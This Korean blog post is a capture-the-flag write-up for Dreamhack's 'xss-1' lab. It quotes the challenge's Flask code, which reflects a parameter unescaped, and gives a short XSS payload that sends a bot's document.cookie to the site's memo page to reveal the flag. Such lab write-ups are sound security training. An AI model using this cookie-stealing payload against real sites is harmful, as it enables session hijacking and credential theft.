본문 바로가기

웹해킹

드림핵 xss-1 롸업

<문제>

여러 기능과 입력받은 URL을 확인하는 봇이 구현된 서비스입니다.
XSS 취약점을 이용해 플래그를 획득하세요. 플래그는 flag.txt, FLAG 변수에 있습니다.

 

@app.route("/flag", methods=["GET", "POST"])
def flag():
    if request.method == "GET":
        return render_template("flag.html")
    elif request.method == "POST":
        param = request.form.get("param")
        if not check_xss(param, {"name": "flag", "value": FLAG.strip()}):
            return '<script>alert("wrong??");history.go(-1);</script>'

        return '<script>alert("good");history.go(-1);</script>'

flag를 얻으려면 여기서 check_xss에 전달되는 value로 알아내야 한다.

def check_xss(param, cookie={"name": "name", "value": "value"}):
    url = f"http://127.0.0.1:8000/vuln?param={urllib.parse.quote(param)}"
    return read_url(url, cookie)
    
@app.route("/vuln")
def vuln():
    param = request.args.get("param", "")
    return param

check_xss와 vuln 링크를 보면 flag 링크에서 전달한 param이 그대로 들어가기 때문에 xss를 발생시킬 수 있다.

flag값인 value가 cookie로 저장되고 read_url로 보내져서 cookie에 저장이 된다.

이 쿠키를 memo로 보내면 값을 읽을 수 있다.

<script>location.href = "/memo?memo=" + document.cookie;</script>

이런식으로 xss 코드를 작성하면 된다.

flag링크에서 저 url을 제출하고 memo 창에 가보면

flag가 보인다.

'웹해킹' 카테고리의 다른 글

ClientSide: CSRF  (0) 2023.11.03
드림핵 xss-2 롸업  (0) 2023.11.03
Cross-Site-Scripting (XSS)  (0) 2023.11.03
드림핵 session-basic 롸업  (0) 2023.11.03
드림핵 cookie 롸업  (0) 2023.11.03